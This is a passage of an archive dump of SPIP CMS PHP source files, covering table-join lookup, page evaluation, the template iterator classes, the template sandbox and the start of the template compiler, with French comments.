alias utilisé pour la table (si pertinent. ie: avec `$boucle->from` transmis par exemple) */ function chercher_champ_dans_tables($cle, $tables, $connect, $checkarrivee = false) { static $trouver_table = ''; if (!$trouver_table) { $trouver_table = charger_fonction('trouver_table', 'base'); } if (!is_array($cle)) { $cle = array($cle); } foreach ($tables as $k => $table) { if ($table && $desc = $trouver_table($table, $connect)) { if (isset($desc['field']) // verifier que toutes les cles cherchees sont la and (count(array_intersect($cle, array_keys($desc['field']))) == count($cle)) // si on sait ou on veut arriver, il faut que ca colle and ($checkarrivee == false || $checkarrivee == $desc['table']) ) { return array( 'desc' => $desc, 'table' => $desc['table'], 'alias' => $k, ); } } } return false; } /** * Cherche une colonne (ou plusieurs colonnes) dans les tables de jointures * possibles indiquées. * * @uses chercher_champ_dans_tables() * @uses decompose_champ_id_objet() * @uses liste_champs_jointures() * * @param string|array $cle * Nom de la ou des colonnes à trouver dans les tables de jointures * @param array $joints * Liste des jointures possibles (ex: $boucle->jointures ou $boucle->jointures_explicites) * @param Boucle $boucle * Description de la boucle * @param bool|string $checkarrivee * false : peu importe la table, si on trouve le/les champs, c'est bon. * string : nom de la table jointe où on veut trouver le champ. * @return array|string * chaîne vide : on n'a pas trouvé * liste si trouvé : nom de la table, description de la table, clé(s) de la table */ function trouver_champ_exterieur($cle, $joints, &$boucle, $checkarrivee = false) { // support de la recherche multi champ : // si en seconde etape on a decompose le champ id_xx en id_objet,objet // on reentre ici soit en cherchant une table les 2 champs id_objet,objet // soit une table avec les 3 champs id_xx, id_objet, objet if (!is_array($cle)) { $cle = array($cle); } if ($infos = chercher_champ_dans_tables($cle, $joints, $boucle->sql_serveur, $checkarrivee)) { return array($infos['table'], $infos['desc'], $cle); } // au premier coup, on essaye de decomposer, si possible if (count($cle) == 1 and $c = reset($cle) and is_array($decompose = decompose_champ_id_objet($c)) ) { $desc = $boucle->show; // cas 1 : la cle id_xx est dans la table de depart // -> on cherche uniquement id_objet,objet a l'arrivee if (isset($desc['field'][$c])) { $cle = array(); $cle[] = array_shift($decompose); // id_objet $cle[] = array_shift($decompose); // objet return trouver_champ_exterieur($cle, $joints, $boucle, $checkarrivee); } // cas 2 : la cle id_xx n'est pas dans la table de depart // -> il faut trouver une cle de depart zzz telle que // id_objet,objet,zzz soit a l'arrivee else { $depart = liste_champs_jointures((isset($desc['table']) ? $desc['table'] : ''), $desc); foreach ($depart as $d) { $cle = array(); $cle[] = array_shift($decompose); // id_objet $cle[] = array_shift($decompose); // objet $cle[] = $d; if ($ext = trouver_champ_exterieur($cle, $joints, $boucle, $checkarrivee)) { return $ext; } } } } return ""; } /** * Cherche a ajouter la possibilite d'interroger un champ sql dans une boucle. * * Cela construira les jointures necessaires * si une possibilite est trouve et retournera le nom de * l'alias de la table contenant ce champ * (L2 par exemple pour 'spip_mots AS L2' dans le FROM), * * @uses trouver_champ_exterieur() * @uses calculer_jointure() * * @param string $champ * Nom du champ cherche (exemple id_article) * @param object $boucle * Informations connues de la boucle * @param array $jointures * Liste des tables parcourues (articles, mots) pour retrouver le champ sql * et calculer la jointure correspondante. * En son absence et par defaut, on utilise la liste des jointures connues * par SPIP pour la table en question ($boucle->jointures) * @param bool $cond * flag pour savoir si le critere est conditionnel ou non * @param bool|string $checkarrivee * false : peu importe la table, si on trouve le/les champs, c'est bon. * string : nom de la table jointe où on veut trouver le champ. * * @return string */ function trouver_jointure_champ($champ, &$boucle, $jointures = false, $cond = false, $checkarrivee = false) { if ($jointures === false) { $jointures = $boucle->jointures; } // TODO : aberration, on utilise $jointures pour trouver le champ // mais pas poour construire la jointure ensuite $arrivee = trouver_champ_exterieur($champ, $jointures, $boucle, $checkarrivee); if ($arrivee) { $desc = $boucle->show; array_pop($arrivee); // enlever la cle en 3eme argument $cle = calculer_jointure($boucle, array($desc['id_table'], $desc), $arrivee, '', $cond); if ($cle) { return $cle; } } spip_log("trouver_jointure_champ: $champ inconnu"); return ''; } evaluer_page.php000066600000006314152442520540007727 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Evaluer la page produite par un squelette * * Évalue une page pour la transformer en texte statique * Elle peut contenir un < ?xml a securiser avant eval * ou du php d'origine inconnue * * Attention cette partie eval() doit impérativement * être déclenchée dans l'espace des globales (donc pas * dans une fonction). * * @param array $page * @return bool */ $res = true; // Cas d'une page contenant du PHP : if (empty($page['process_ins']) or $page['process_ins'] != 'html') { include_spip('inc/lang'); // restaurer l'etat des notes avant calcul if (isset($page['notes']) and $page['notes'] and $notes = charger_fonction("notes", "inc", true) ) { $notes($page['notes'], 'restaurer_etat'); } ob_start(); if (strpos($page['texte'], '?xml') !== false) { $page['texte'] = str_replace('<' . '?xml', "<\1?xml", $page['texte']); } try { $res = eval('?' . '>' . $page['texte']); // error catching 5.2<=PHP<7 if ($res === false and function_exists('error_get_last') and ($erreur = error_get_last()) ) { $code = $page['texte']; $GLOBALS['numero_ligne_php'] = 1; if (!function_exists('numerote_ligne_php')){ function numerote_ligne_php($match){ $GLOBALS['numero_ligne_php']++; return "\n/*".str_pad($GLOBALS['numero_ligne_php'],3,"0",STR_PAD_LEFT)."*/"; } } $code = "/*001*/".preg_replace_callback(",\n,","numerote_ligne_php",$code); $code = trim(highlight_string($code,true)); erreur_squelette("L".$erreur['line'].": ".$erreur['message']."<br />".$code,array($page['source'],'',$erreur['file'],'',$GLOBALS['spip_lang'])); $page['texte'] = "<!-- Erreur -->"; } else { $page['texte'] = ob_get_contents(); } } catch (Exception $e){ $code = $page['texte']; $GLOBALS['numero_ligne_php'] = 1; if (!function_exists('numerote_ligne_php')){ function numerote_ligne_php($match){ $GLOBALS['numero_ligne_php']++; return "\n/*".str_pad($GLOBALS['numero_ligne_php'],3,"0",STR_PAD_LEFT)."*/"; } } $code = "/*001*/".preg_replace_callback(",\n,","numerote_ligne_php",$code); $code = trim(highlight_string($code,true)); erreur_squelette("L".$e->getLine().": ".$e->getMessage()."<br />".$code,array($page['source'],'',$e->getFile(),'',$GLOBALS['spip_lang'])); $page['texte'] = "<!-- Erreur -->"; } ob_end_clean(); $page['process_ins'] = 'html'; if (strpos($page['texte'], '?xml') !== false) { $page['texte'] = str_replace("<\1?xml", '<' . '?xml', $page['texte']); } } page_base_href($page['texte']); iterateur.php000066600000034623152442520540007300 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Fabrique d'iterateur * permet de charger n'importe quel iterateur IterateurXXX * fourni dans le fichier iterateurs/xxx.php * */ class IterFactory { public static function create($iterateur, $command, $info = null) { // cas des SI {si expression} analises tres tot // pour eviter le chargement de tout iterateur if (isset($command['si'])) { foreach ($command['si'] as $si) { if (!$si) { // $command pour boucle SQL peut generer des erreurs de compilation // s'il est transmis alors qu'on est dans un iterateur vide return new IterDecorator(new EmptyIterator(), array(), $info); } } } // chercher un iterateur PHP existant (par exemple dans SPL) // (il faudrait passer l'argument ->sql_serveur // pour etre certain qu'on est sur un "php:") if (class_exists($iterateur)) { $a = isset($command['args']) ? $command['args'] : array(); // permettre de passer un Iterateur directement {args #ITERATEUR} : // si on recoit deja un iterateur en argument, on l'utilise if (count($a) == 1 and is_object($a[0]) and is_subclass_of($a[0], 'Iterator')) { $iter = $a[0]; // sinon, on cree un iterateur du type donne } else { // arguments de creation de l'iterateur... // (pas glop) try { switch (count($a)) { case 0: $iter = new $iterateur(); break; case 1: $iter = new $iterateur($a[0]); break; case 2: $iter = new $iterateur($a[0], $a[1]); break; case 3: $iter = new $iterateur($a[0], $a[1], $a[2]); break; case 4: $iter = new $iterateur($a[0], $a[1], $a[2], $a[3]); break; } } catch (Exception $e) { spip_log("Erreur de chargement de l'iterateur $iterateur"); spip_log($e->getMessage()); $iter = new EmptyIterator(); } } } else { // chercher la classe d'iterateur // IterateurXXX // definie dans le fichier iterateurs/xxx.php $class = "Iterateur" . $iterateur; if (!class_exists($class)) { if (!include_spip("iterateur/" . strtolower($iterateur)) or !class_exists($class) ) { die("Iterateur $iterateur non trouvé"); // si l'iterateur n'existe pas, on se rabat sur le generique # $iter = new EmptyIterator(); } } $iter = new $class($command, $info); } return new IterDecorator($iter, $command, $info); } } class IterDecorator extends FilterIterator { private $iter; /** * Conditions de filtrage * ie criteres de selection * * @var array */ protected $filtre = array(); /** * Fonction de filtrage compilee a partir des criteres de filtre * * @var string */ protected $func_filtre = null; /** * Critere {offset, limit} * * @var int * @var int */ protected $offset = null; protected $limit = null; /** * nombre d'elements recuperes depuis la position 0, * en tenant compte des filtres * * @var int */ protected $fetched = 0; /** * Y a t'il une erreur ? * * @var bool **/ protected $err = false; /** * Drapeau a activer en cas d'echec * (select SQL errone, non chargement des DATA, etc) */ public function err() { if (method_exists($this->iter, 'err')) { return $this->iter->err(); } if (property_exists($this->iter, 'err')) { return $this->iter->err; } return false; } public function __construct(Iterator $iter, $command, $info) { parent::__construct($iter); parent::rewind(); // remettre a la premiere position (bug? connu de FilterIterator) // recuperer l'iterateur transmis $this->iter = $this->getInnerIterator(); $this->command = $command; $this->info = $info; $this->pos = 0; $this->fetched = 0; // chercher la liste des champs a retourner par // fetch si l'objet ne les calcule pas tout seul if (!method_exists($this->iter, 'fetch')) { $this->calculer_select(); $this->calculer_filtres(); } // emptyIterator critere {si} faux n'a pas d'erreur ! if (isset($this->iter->err)) { $this->err = $this->iter->err; } // pas d'init a priori, le calcul ne sera fait qu'en cas de besoin (provoque une double requete souvent inutile en sqlite) //$this->total = $this->count(); } // calcule les elements a retournes par fetch() // enleve les elements inutiles du select() // private function calculer_select() { if ($select = &$this->command['select']) { foreach ($select as $s) { // /!\ $s = '.nom' if ($s[0] == '.') { $s = substr($s, 1); } $this->select[] = $s; } } } // recuperer la valeur d'une balise #X // en fonction des methodes // et proprietes disponibles public function get_select($nom) { if (is_object($this->iter) and method_exists($this->iter, $nom) ) { try { return $this->iter->$nom(); } catch (Exception $e) { // #GETCHILDREN sur un fichier de DirectoryIterator ... spip_log("Methode $nom en echec sur " . get_class($this->iter)); spip_log("Cela peut être normal : retour d'une ligne de resultat ne pouvant pas calculer cette methode"); return ''; } } /* if (property_exists($this->iter, $nom)) { return $this->iter->$nom; }*/ // cle et valeur par defaut // ICI PLANTAGE SI ON NE CONTROLE PAS $nom if (in_array($nom, array('cle', 'valeur')) and method_exists($this, $nom) ) { return $this->$nom(); } // Par defaut chercher en xpath dans la valeur() return table_valeur($this->valeur(), $nom, null); } private function calculer_filtres() { // Issu de calculer_select() de public/composer L.519 // TODO: externaliser... // // retirer les criteres vides: // {X ?} avec X absent de l'URL // {par #ENV{X}} avec X absent de l'URL // IN sur collection vide (ce dernier devrait pouvoir etre fait a la compil) if ($where = &$this->command['where']) { $menage = false; foreach ($where as $k => $v) { if (is_array($v)) { if ((count($v) >= 2) && ($v[0] == 'REGEXP') && ($v[2] == "'.*'")) { $op = false; } elseif ((count($v) >= 2) && ($v[0] == 'LIKE') && ($v[2] == "'%'")) { $op = false; } else { $op = $v[0] ? $v[0] : $v; } } else { $op = $v; } if ((!$op) or ($op == 1) or ($op == '0=0')) { unset($where[$k]); $menage = true; } // traiter {cle IN a,b} ou {valeur !IN a,b} // prendre en compte le cas particulier de sous-requetes // produites par sql_in quand plus de 255 valeurs passees a IN if (preg_match_all(',\s+IN\s+(\(.*\)),', $op, $s_req)) { $req = ''; foreach ($s_req[1] as $key => $val) { $req .= trim($val, '(,)') . ','; } $req = '(' . rtrim($req, ',') . ')'; } if (preg_match(',^\(\(([\w/]+)(\s+NOT)?\s+IN\s+(\(.*\))\)(?:\s+(AND|OR)\s+\(([\w/]+)(\s+NOT)?\s+IN\s+(\(.*\))\))*\)$,', $op, $regs)) { $this->ajouter_filtre($regs[1], 'IN', strlen($req) ? $req : $regs[3], $regs[2]); unset($op); } } foreach ($where as $k => $v) { // 3 possibilites : count($v) = // * 1 : {x y} ; on recoit $v[0] = y // * 2 : {x !op y} ; on recoit $v[0] = 'NOT', $v[1] = array() // array du type {x op y} // * 3 : {x op y} ; on recoit $v[0] = 'op', $v[1] = x, $v[2] = y // 1 : forcement traite par un critere, on passe if (count($v) == 1) { continue; } if (count($v) == 2 and is_array($v[1])) { $this->ajouter_filtre($v[1][1], $v[1][0], $v[1][2], 'NOT'); } if (count($v) == 3) { $this->ajouter_filtre($v[1], $v[0], $v[2]); } } } // critere {2,7} if (isset($this->command['limit']) and $this->command['limit']) { $limit = explode(',', $this->command['limit']); $this->offset = $limit[0]; $this->limit = $limit[1]; } // Creer la fonction de filtrage sur $this if ($this->filtre) { $this->func_filtre = create_function('$me', $b = 'return (' . join(') AND (', $this->filtre) . ');'); } } protected function ajouter_filtre($cle, $op, $valeur, $not = false) { if (method_exists($this->iter, 'exception_des_criteres')) { if (in_array($cle, $this->iter->exception_des_criteres())) { return; } } // TODO: analyser le filtre pour refuser ce qu'on ne sait pas traiter ? # mais c'est normalement deja opere par calculer_critere_infixe() # qui regarde la description 'desc' (en casse reelle d'ailleurs : {isDir=1} # ne sera pas vu si l'on a defini desc['field']['isdir'] pour que #ISDIR soit present. # il faudrait peut etre definir les 2 champs isDir et isdir... a reflechir... # if (!in_array($cle, array('cle', 'valeur'))) # return; $a = '$me->get_select(\'' . $cle . '\')'; $filtre = ''; if ($op == 'REGEXP') { $filtre = 'match(' . $a . ', ' . str_replace('\"', '"', $valeur) . ')'; $op = ''; } else { if ($op == 'LIKE') { $valeur = str_replace(array('\"', '_', '%'), array('"', '.', '.*'), preg_quote($valeur)); $filtre = 'match(' . $a . ', ' . $valeur . ')'; $op = ''; } else { if ($op == '=') { $op = '=='; } else { if ($op == 'IN') { $filtre = 'in_array(' . $a . ', array' . $valeur . ')'; $op = ''; } else { if (!in_array($op, array('<', '<=', '>', '>='))) { spip_log('operateur non reconnu ' . $op); // [todo] mettre une erreur de squelette $op = ''; } } } } } if ($op) { $filtre = $a . $op . str_replace('\"', '"', $valeur); } if ($not) { $filtre = "!($filtre)"; } if ($filtre) { $this->filtre[] = $filtre; } } public function next() { $this->pos++; parent::next(); } /** * revient au depart * * @return void */ public function rewind() { $this->pos = 0; $this->fetched = 0; parent::rewind(); } # Extension SPIP des iterateurs PHP /** * type de l'iterateur * * @var string */ protected $type; /** * parametres de l'iterateur * * @var array */ protected $command; /** * infos de compilateur * * @var array */ protected $info; /** * position courante de l'iterateur * * @var int */ protected $pos = null; /** * nombre total resultats dans l'iterateur * * @var int */ protected $total = null; /** * nombre maximal de recherche pour $total * si l'iterateur n'implemente pas de fonction specifique */ protected $max = 100000; /** * Liste des champs a inserer dans les $row * retournes par ->fetch() */ protected $select = array(); /** * aller a la position absolue n, * comptee depuis le debut * * @param int $n * absolute pos * @param string $continue * param for sql_ api * @return bool * success or fail if not implemented */ public function seek($n = 0, $continue = null) { if ($this->func_filtre or !method_exists($this->iter, 'seek') or !$this->iter->seek($n)) { $this->seek_loop($n); } $this->pos = $n; $this->fetched = $n; return true; } /* * aller a la position $n en parcourant * un par un tous les elements */ private function seek_loop($n) { if ($this->pos > $n) { $this->rewind(); } while ($this->pos < $n and $this->valid()) { $this->next(); } return true; } /** * Avancer de $saut pas * * @param $saut * @param $max * @return int */ public function skip($saut, $max = null) { // pas de saut en arriere autorise pour cette fonction if (($saut = intval($saut)) <= 0) { return $this->pos; } $seek = $this->pos + $saut; // si le saut fait depasser le maxi, on libere la resource // et on sort if (is_null($max)) { $max = $this->count(); } if ($seek >= $max or $seek >= $this->count()) { // sortie plus rapide que de faire next() jusqu'a la fin ! $this->free(); return $max; } $this->seek($seek); return $this->pos; } /** * Renvoyer un tableau des donnees correspondantes * a la position courante de l'iterateur * en controlant si on respecte le filtre * Appliquer aussi le critere {offset,limit} * * @return array|bool */ public function fetch() { if (method_exists($this->iter, 'fetch')) { return $this->iter->fetch(); } else { while ($this->valid() and ( !$this->accept() or (isset($this->offset) and $this->fetched++ < $this->offset) )) { $this->next(); } if (!$this->valid()) { return false; } if (isset($this->limit) and $this->fetched > $this->offset + $this->limit ) { return false; } $r = array(); foreach ($this->select as $nom) { $r[$nom] = $this->get_select($nom); } $this->next(); return $r; } } // retourner la cle pour #CLE public function cle() { return $this->key(); } // retourner la valeur pour #VALEUR public function valeur() { # attention PHP est mechant avec les objets, parfois il ne les # clone pas proprement (directoryiterator sous php 5.2.2) # on se rabat sur la version __toString() if (is_object($v = $this->current())) { if (method_exists($v, '__toString')) { $v = $v->__toString(); } else { $v = (array)$v; } } return $v; } /** * Accepte-t-on l'entree courante lue ? * On execute les filtres pour le savoir. **/ public function accept() { if ($f = $this->func_filtre) { return $f($this); } return true; } /** * liberer la ressource * * @return bool */ public function free() { if (method_exists($this->iter, 'free')) { $this->iter->free(); } $this->pos = $this->total = 0; return true; } /** * Compter le nombre total de resultats * pour #TOTAL_BOUCLE * * @return int */ public function count() { if (is_null($this->total)) { if (method_exists($this->iter, 'count') and !$this->func_filtre ) { return $this->total = $this->iter->count(); } else { // compter les lignes et rembobiner $total = 0; $pos = $this->pos; // sauver la position $this->rewind(); while ($this->fetch() and $total < $this->max) { $total++; } $this->seek($pos); $this->total = $total; } } return $this->total; } } sandbox.php000066600000014117152442520540006726 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion d'une sécurisation des squelettes * * Une surcharge de ce fichier pourrait permettre : * * - de limiter l'utilisation des filtres à l'aide d'une liste blanche ou liste noire, * - de rendre inactif le PHP écrit dans les squelettes * - de refuser l'inclusion de fichier PHP dans les squelettes * * @package SPIP\Core\Compilateur\Sandbox **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Composer le code d'exécution d'un texte * * En principe juste un echappement de guillemets * sauf si on veut aussi echapper et interdire les scripts serveurs * dans les squelettes * * @param string $texte * Texte à composer * @param Champ $p * Balise qui appelle ce texte * @return string * Texte */ function sandbox_composer_texte($texte, &$p) { $code = "'" . str_replace(array("\\", "'"), array("\\\\", "\\'"), $texte) . "'"; return $code; } /** * Composer le code d'exécution d'un filtre * * @param string $fonc * @param string $code * @param string $arglist * @param Champ $p * Balise qui appelle ce filtre * @return string */ function sandbox_composer_filtre($fonc, $code, $arglist, &$p) { if (isset($GLOBALS['spip_matrice'][$fonc])) { $code = "filtrer('$fonc',$code$arglist)"; } // le filtre est defini sous forme de fonction ou de methode // par ex. dans inc_texte, inc_filtres ou mes_fonctions elseif ($f = chercher_filtre($fonc)) { // cas particulier : le filtre |set doit acceder a la $Pile // proto: filtre_set(&$Pile, $val, $args...) if (strpbrk($f, ':')) { // Class::method $refl = new ReflectionMethod($f); } else { $refl = new ReflectionFunction($f); } $refs = $refl->getParameters(); if (isset($refs[0]) and $refs[0]->name == 'Pile') { $code = "$f(\$Pile,$code$arglist)"; } else { $code = "$f($code$arglist)"; } } // le filtre n'existe pas, // on le notifie else { erreur_squelette(array('zbug_erreur_filtre', array('filtre' => texte_script($fonc))), $p); } return $code; } // Calculer un <INCLURE(xx.php)> // La constante ci-dessous donne le code general quand il s'agit d'un script. define('CODE_INCLURE_SCRIPT', 'if (!($path = %s) OR !is_readable($path)) erreur_squelette(array("fichier_introuvable", array("fichier" => "%s")), array(%s)); else { $contexte_inclus = %s; include $path; } ' ); /** * Composer le code d'inclusion PHP * * @param string $fichier * @param Champ $p * Balise créant l'inclusion * @param array $_contexte * @return string */ function sandbox_composer_inclure_php($fichier, &$p, $_contexte) { $compil = texte_script(memoriser_contexte_compil($p)); // si inexistant, on essaiera a l'execution if ($path = find_in_path($fichier)) { $path = "\"$path\""; } else { $path = "find_in_path(\"$fichier\")"; } return sprintf(CODE_INCLURE_SCRIPT, $path, $fichier, $compil, $_contexte); } /** * Composer le code de sécurisation anti script * * @param string $code * @param Champ $p * Balise sur laquelle s'applique le filtre * @return string */ function sandbox_composer_interdire_scripts($code, &$p) { // Securite if ($p->interdire_scripts and $p->etoile != '**' ) { if (!preg_match("/^sinon[(](.*),'([^']*)'[)]$/", $code, $r)) { $code = "interdire_scripts($code)"; } else { $code = interdire_scripts($r[2]); $code = "sinon(interdire_scripts($r[1]),'$code')"; } } return $code; } /** * Appliquer des filtres sur un squelette complet * * La fonction accèpte plusieurs tableaux de filtres à partir du 3ème argument * qui seront appliqués dans l'ordre * * @uses echapper_php_callback() * * @param array $skel * @param string $corps * @param array $filtres * Tableau de filtres à appliquer. * @return mixed|string */ function sandbox_filtrer_squelette($skel, $corps, $filtres) { $series_filtres = func_get_args(); array_shift($series_filtres);// skel array_shift($series_filtres);// corps // proteger les <INCLUDE> et tous les morceaux de php licites if ($skel['process_ins'] == 'php') { $corps = preg_replace_callback(',<[?](\s|php|=).*[?]>,UimsS', 'echapper_php_callback', $corps); } // recuperer les couples de remplacement $replace = echapper_php_callback(); foreach ($series_filtres as $filtres) { if (count($filtres)) { foreach ($filtres as $filtre) { if ($filtre and $f = chercher_filtre($filtre)) { $corps = $f($corps); } } } } // restaurer les echappements return str_replace($replace[0], $replace[1], $corps); } /** * Callback pour échapper du code PHP (les séquences `<?php ... ?>`) * * Rappeler la fonction sans paramètre pour obtenir les substitutions réalisées. * * @see sandbox_filtrer_squelette() * * @param array|null $r * - array : ce sont les captures de la regex à échapper * - NULL : demande à dépiler tous les échappements réalisés * @return string|array * - string : hash de substitution du code php lorsque `$r` est un array * - array : Liste( liste des codes PHP, liste des substitutions ) **/ function echapper_php_callback($r = null) { static $src = array(); static $dst = array(); // si on recoit un tableau, on est en mode echappement // on enregistre le code a echapper dans dst, et le code echappe dans src if (is_array($r)) { $dst[] = $r[0]; return $src[] = '___' . md5($r[0]) . '___'; } // si on recoit pas un tableau, on renvoit les couples de substitution // et on RAZ les remplacements $r = array($src, $dst); $src = $dst = array(); return $r; } compiler.php000066600000134725152442520540007112 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Fichier principal du compilateur de squelettes * * @package SPIP\Core\Compilateur\Compilation **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** Repérer un code ne calculant rien, meme avec commentaire */ define('CODE_MONOTONE', ",^(\n//[^\n]*\n)?\(?'([^'])*'\)?$,"); /** Indique s'il faut commenter le code produit */ define('CODE_COMMENTE', true); // definition des structures de donnees include_spip('public/interfaces'); // Definition de la structure $p, et fonctions de recherche et de reservation // dans l'arborescence des boucles include_spip('public/references'); // production du code qui peut etre securisee include_spip('public/sandbox'); // definition des boucles include_spip('public/boucles'); // definition des criteres include_spip('public/criteres'); // definition des balises include_spip('public/balises'); // Gestion des jointures include_spip('public/jointures'); // Les 2 ecritures INCLURE{A1,A2,A3...} et INCLURE(A1){A2}{A3}... sont admises // Preferer la premiere. // Les Ai sont de la forme Vi=Ei ou bien Vi qui veut alors dire Vi=Vi // Le resultat est un tableau indexe par les Vi // Toutefois, si le premier argument n'est pas de la forme Vi=Ei // il est conventionnellement la valeur de l'index 1. // pour la balise #INCLURE // mais pas pour <INCLURE> dont le fond est defini explicitement. // http://code.spip.net/@argumenter_inclure function argumenter_inclure( $params, $rejet_filtres, $p, &$boucles, $id_boucle, $echap = true, $lang = '', $fond1 = false ) { $l = array(); $erreur_p_i_i = ''; if (!is_array($params)) { return $l; } foreach ($params as $k => $couple) { // la liste d'arguments d'inclusion peut se terminer par un filtre $filtre = array_shift($couple); if ($filtre) { break; } foreach ($couple as $n => $val) { $var = $val[0]; if ($var->type != 'texte') { if ($n or $k or $fond1) { $erreur_p_i_i = array( 'zbug_parametres_inclus_incorrects', array('param' => $var->nom_champ) ); erreur_squelette($erreur_p_i_i, $p); break; } else { $l[1] = calculer_liste($val, $p->descr, $boucles, $id_boucle); } } else { preg_match(",^([^=]*)(=?)(.*)$,m", $var->texte, $m); $m = array_pad($m, 3, null); $var = $m[1]; $auto = false;; if ($m[2]) { $v = $m[3]; if (preg_match(',^[\'"](.*)[\'"]$,', $v, $m)) { $v = $m[1]; } $val[0] = new Texte; $val[0]->texte = $v; } elseif ($k or $n or $fond1) { $auto = true; } else { $var = 1; } if ($var == 'lang') { $lang = !$auto ? calculer_liste($val, $p->descr, $boucles, $id_boucle) : '$GLOBALS["spip_lang"]'; } else { $val = $auto ? index_pile($id_boucle, $var, $boucles) : calculer_liste($val, $p->descr, $boucles, $id_boucle); if ($var !== 1) { $val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ") . $val . ($echap ? ") . '" : " "); } else { $val = $echap ? "'.$val.'" : $val; } $l[$var] = $val; } } } } if ($erreur_p_i_i) { return false; } // Cas particulier de la langue : si {lang=xx} est definie, on // la passe, sinon on passe la langue courante au moment du calcul // sauf si on n'en veut pas if ($lang === false) { return $l; } if (!$lang) { $lang = '$GLOBALS["spip_lang"]'; } $l['lang'] = ($echap ? "\'lang\' => ' . argumenter_squelette(" : "'lang' => ") . $lang . ($echap ? ") . '" : " "); return $l; } /** * Code d'appel à un <INCLURE()> * * Code PHP pour un squelette (aussi pour #INCLURE, #MODELE #LES_AUTEURS) */ define('CODE_RECUPERER_FOND', 'recuperer_fond(%s, %s, array(%s), %s)'); /** * Compile une inclusion <INCLURE> ou #INCLURE * * @param Inclure $p * Description de l'inclusion (AST au niveau de l'inclure) * @param array $boucles * AST du squelette * @param string $id_boucle * Identifiant de la boucle contenant l'inclure * @return string * Code PHP appelant l'inclusion **/ function calculer_inclure($p, &$boucles, $id_boucle) { $_contexte = argumenter_inclure($p->param, false, $p, $boucles, $id_boucle, true, '', true); if (is_string($p->texte)) { $fichier = $p->texte; $code = "\"".str_replace('"','\"',$fichier)."\""; } else { $code = calculer_liste($p->texte, $p->descr, $boucles, $id_boucle); if ($code and preg_match("/^'([^']*)'/s", $code, $r)) { $fichier = $r[1]; } else { $fichier = ''; } } if (!$code or $code === '""') { $erreur_p_i_i = array( 'zbug_parametres_inclus_incorrects', array('param' => $code) ); erreur_squelette($erreur_p_i_i, $p); return false; } $compil = texte_script(memoriser_contexte_compil($p)); if (is_array($_contexte)) { // Critere d'inclusion {env} (et {self} pour compatibilite ascendante) if ($env = (isset($_contexte['env']) || isset($_contexte['self']))) { unset($_contexte['env']); } // noter les doublons dans l'appel a public.php if (isset($_contexte['doublons'])) { $_contexte['doublons'] = "\\'doublons\\' => '.var_export(\$doublons,true).'"; } if ($ajax = isset($_contexte['ajax'])) { $ajax = preg_replace(",=>(.*)$,ims", '=> ($v=(\\1))?$v:true', $_contexte['ajax']); unset($_contexte['ajax']); } $_contexte = join(",\n\t", $_contexte); } else { return false; } // j'aurais voulu toucher le fond ... $contexte = 'array(' . $_contexte . ')'; if ($env) { $contexte = "array_merge('.var_export(\$Pile[0],1).',$contexte)"; } // s'il y a une extension .php, ce n'est pas un squelette if ($fichier and preg_match('/^.+[.]php$/s', $fichier)) { $code = sandbox_composer_inclure_php($fichier, $p, $contexte); } else { $_options[] = "\"compil\"=>array($compil)"; if ($ajax) { $_options[] = $ajax; } $code = " ' . argumenter_squelette($code) . '"; $code = "echo " . sprintf(CODE_RECUPERER_FOND, $code, $contexte, implode(',', $_options), "_request(\"connect\")") . ';'; } return "\n'<'.'" . "?php " . $code . "\n?'." . "'>'"; } /** * Gérer les statuts declarés pour cette table * * S'il existe des statuts sur cette table, déclarés dans la description * d'un objet éditorial, applique leurs contraintes * * @param Boucle $boucle * Descrition de la boucle * @param bool $echapper * true pour échapper le code créé * @param bool $ignore_previsu * true pour ne tester que le cas publie et ignorer l'eventuel var_mode=preview de la page */ function instituer_boucle(&$boucle, $echapper = true, $ignore_previsu = false) { /* $show['statut'][] = array( 'champ'=>'statut', // champ de la table sur lequel porte le filtrage par le statut 'publie'=>'publie', // valeur ou liste de valeurs, qui definissent l'objet comme publie. 'previsu'=>'publie,prop', // valeur ou liste de valeurs qui sont visibles en previsu 'post_date'=>'date', // un champ de date pour la prise en compte des post_dates, ou rien sinon 'exception'=>'statut', // liste des modificateurs qui annulent le filtrage par statut // si plusieurs valeurs : array('statut','tout','lien') ); Pour 'publier' ou 'previsu', si la chaine commence par un "!" on exclu au lieu de filtrer sur les valeurs donnees si la chaine est vide, on ne garde rien si elle est seulement "!" on n'exclu rien Si le statut repose sur une jointure, 'champ' est alors un tableau du format suivant : 'champ'=>array( array(table1, cle1), ... array(tablen, clen), champstatut ) champstatut est alors le champ statut sur la tablen dans les jointures, clen peut etre un tableau pour une jointure complexe : array('id_objet','id_article','objet','article') */ $id_table = $boucle->id_table; $show = $boucle->show; if (isset($show['statut']) and $show['statut']) { foreach ($show['statut'] as $k => $s) { // Restreindre aux elements publies si pas de {statut} ou autre dans les criteres $filtrer = true; if (isset($s['exception'])) { foreach (is_array($s['exception']) ? $s['exception'] : array($s['exception']) as $m) { if 